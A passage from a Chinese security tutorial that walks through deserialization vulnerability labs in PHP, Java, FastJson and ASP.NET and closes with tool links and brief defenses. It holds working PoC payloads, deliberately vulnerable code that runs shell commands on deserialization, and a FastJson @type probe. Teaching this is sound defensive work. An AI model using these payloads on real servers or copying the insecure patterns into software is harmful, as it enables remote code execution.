serialize_demo5.php
<?php class maniac{ public $test; function __construct(){ $this->test = new x2(); } } class x2{ public $test2="phpinfo();"; } $class1 = new maniac(); print_r(serialize($class1)) ?>
序列化值:O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}构造poc:
http://172.16.6.231/fanxulie/demo5.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
5.Java反序列化漏洞实验
Java中通常使用Java.io.ObjectOutputStream类中的writeObject方法进行序列化,java.io.ObjectInputStream类中的readObject方法进行反序列化。使用下面代码将字符串进行序列化和反序列化:
package com.company; import java.io.ObjectOutputStream; import java.io.ObjectInputStream; import java.io.FileOutputStream; import java.io.FileInputStream; public class Main{ public static void main(String args[]) throws Exception { String obj = "hello"; // 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名 FileOutputStream fos = new FileOutputStream("a.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件a.ser中读取数据 FileInputStream fis = new FileInputStream("a.ser"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复字符串 String obj2 = (String)ois.readObject(); System.out.println(obj2); ois.close(); } }
程序执行后生成a.ser文件,如图:
以十六进制查看a.ser文件内容,如图:
Java序列化数据格式始终以双字节的十六进制0xAC ED作为开头,Base64编码之后为rO0。之后的两个字节是版本号,通常为0x00 05。一个Java类的对象要想序列化成功,必须满足两个条件:
该类必须实现java.io.Serializable接口。 该类的所有属性必须是可序列化的,如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
使用下面代码将对象序列化后存储到a.ser文件:
package com.company; import java.io.ObjectOutputStream; import java.io.FileOutputStream; import java.io.Serializable; import java.io.IOException; // 定义一个实现 java.io.Serializable 接口的类Test class Test implements Serializable { public String cmd="calc"; // 重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ // 执行默认的readObject()方法 in.defaultReadObject(); // 执行打开计算器程序的命令 Runtime.getRuntime().exec(cmd); } } public class Main{ public static void main(String args[]) throws Exception{ // 实例化对象test Test test = new Test(); // 将对象test序列化后写入a.ser文件 FileOutputStream fos = new FileOutputStream("a.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(test); os.close(); } }
执行程序后生成a.ser文件,以十六进制格式查看文件内容,如图:
最后5个字节分别为字符串长度和calc的ASCII值。因此,修改文件为下图所示,即notepad的ASCII值和长度:
使用下面代码进行反序列化对象:
package com.company; import java.io.ObjectInputStream; import java.io.FileInputStream; import java.io.Serializable; import java.io.IOException; // 定义一个实现 java.io.Serializable 接口的类Test class Test implements Serializable { public String cmd="calc"; // 重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ // 执行默认的readObject()方法 in.defaultReadObject(); // 执行打开计算器程序的命令 Runtime.getRuntime().exec(cmd); } } public class Main{ public static void main(String args[]) throws Exception{ // 从a.ser文件中反序列化test对象 FileInputStream fis = new FileInputStream("a.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Test objectFromDisk = (Test)ois.readObject(); System.out.println(objectFromDisk.cmd); ois.close(); } }
程序执行后成功运行notepad,如图:
6.FastJson反序列化漏洞简单实验
FastJson作为史上最快的Json解析库应用也十分广泛,在1.2.69版本以下,其AutoType特性在反序列化过程中会导致反序列化漏洞,这个特性就是:在对JSON字符串进行反序列化的时候,会读取@type参数指定的类,然后把JSON内容反序列化为此类的对象,并且会调用这个类的设置(setter)方法。
实验环境
前端采用json提交用户名密码 后台使用fastjson 1.2.24版本 源码和WAR包GitHub地址 https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment
创建一个User类,用于查看序列化数据格式,如图:
创建一个home类用于输出user对象的序列化数据,如图:
创建一个login类用于获取前端页面提交的json格式用户名和密码数据,并使用JSON.parseObject方法进行反序列化解析json数据,在后台可看到提交的数据,如图:
访问home
页面可直接获取user
对象序列化后的结果,如图:
@type的值为对象所属的类,user和passwd分别为对象的用户名属性和密码属性。因此可以利用AutoType特性,构造一个使用@type参数指定一个攻击类库,包含类属性或方法的JSON字符串提交到服务器,在反序列化时调用这个类的方法达到执行代码的目的。通常使用java.net.Inet4Address类或java.net.Inet6Address类,通过val参数传递域名,利用DnsLog进行漏洞检测,即:{"@type":"java.net.Inet4Address","val":"DnsLog"}。在登录页面输入用户名和密码提交,拦截数据包,修改提交的Json数据,如图:
虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:
要执行命令需要构造新的POP链,常用的POP链:
基于JNDI注入 基于ClassLoader 基于TemplatesImpl
7.ASP.NET反序列化实验
.NET框架包含多个序列化类,BinaryFormatter,JavaScriptSerializer,XmlSerializer,DataContractSerializer,本实验以XML序列化和反序列化为例。实验环境
采用Xml提交数据 使用.NET Framework 4.6.1 完整源码GitHub地址 https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment
使用下面代码定义一个Test类,包含执行ipconfig命令并返回执行结果的函数Run,使用XmlSerializer类将对象序列化后输出到页面:
using System; using System.Diagnostics; using System.IO; using System.Text; using System.Xml.Serialization; namespace ASP.NETStudy { [Serializable] public class Test { public string _cmd = "ipconfig"; public Test(string cmd) { _cmd = cmd; } public Test() { } public String Run() { Process p = new Process(); // 设置要启动的应用程序 p.StartInfo.FileName = "cmd.exe"; // 不使用操作系统shell启动 p.StartInfo.UseShellExecute = false; // 接受来自调用程序的输入信息 p.StartInfo.RedirectStandardInput = true; // 输出信息 p.StartInfo.RedirectStandardOutput = true; // 输出错误 p.StartInfo.RedirectStandardError = true; // 不显示程序窗口 p.StartInfo.CreateNoWindow = true; // 启动程序 p.Start(); // 向cmd窗口发送命令 p.StandardInput.WriteLine(_cmd + "&exit"); // 自动刷新 p.StandardInput.AutoFlush = true; // 获取输出信息 string strOuput = p.StandardOutput.ReadToEnd(); //等待程序执行完退出进程 p.WaitForExit(); p.Close(); // 返回执行结果 return strOuput; } } public partial class _default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { // 实例化对象 sc_Test Test sc_Test = new Test(); // 创建字符串缓冲区buffer StringBuilder buffer = new StringBuilder(); // 实例化序列号对象 XmlSerializer serializer = new XmlSerializer(typeof(Test)); // 序列化对象sc_Test并存储到buffer using (TextWriter writer = new StringWriter(buffer)) { serializer.Serialize(writer, sc_Test); } String str = buffer.ToString(); // 将xml数据HTML实体化,防止Windows安全检查拦截 string r = string.Empty; for (int i = 0; i < str.Length; i++) { r += "&#" + Char.ConvertToUtf32(str, i) + ";"; } // 输出到页面 Response.Write("<center><h2>序列化数据</h2><textarea rows=\"10\" cols=\"100\" readonly align=\"center\">" + r+ "</textarea></center>"); } } }
使用下面代码将提交的XML数据反序列化,并执行对象的Run函数:
using System; using System.IO; using System.Xml.Serialization; namespace ASP.NETStudy { public partial class info : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { if (Request.RequestType == "POST") { // 获取客户端提交的数据 StreamReader s = new StreamReader(Request.InputStream); // 转换为String格式 String ss = s.ReadToEnd(); //Response.Write(ss); // 定义反序列化对象 Test dsc_Test; XmlSerializer serializer = new XmlSerializer(typeof(Test)); // 反序列化数据为dsc_Test对象 using (TextReader reader = new StringReader(ss)) { Object obj = serializer.Deserialize(reader); dsc_Test = (Test)obj; } // 调用对象的函数Run并返回执行结果到浏览器 Response.Write(dsc_Test.Run()); } } } }
正常情况下访问页面,返回序列化后的数据,如图:
点击查看IP按钮后,客户端提交数据,如图:
服务器执行命令后返回到客户端,如图:
如果攻击者将传输的XML数据进行篡改,如图:
服务器在反序列化后执行whoami命令,如图:
0x03 靶场地址&工具推荐
https://github.com/zhuifengshaonianhanlu/pikachu #皮卡丘靶场地址 https://github.com/NHPT/Java_Deserialization_Vulnerability_Experiment #FastJson反序列化靶场地址 https://github.com/NHPT/ASP.NET-Deserialization-Vulnerability-Experiment #ASP.NET反序列化靶场地址 https://github.com/frohoff/ysoserial #JAVA反序列化工具 https://github.com/ambionics/phpggc #PHP反序列化工具 https://github.com/pwntester/ysoserial.net #.NET反序列化工具
0x04 漏洞防御
反序列化之前,先进行严格的数据类型校验。由于校验规则容易被攻击者探索出来,进而容易被绕过,因此防御不能仅依赖这一个手段,但可以作为完整性校验防御方案的补充。 对反序列化过程进行详尽的日志记录,用以安全审计或调查。 监控反序列化过程,在发现疑似反序列化攻击时进行警报。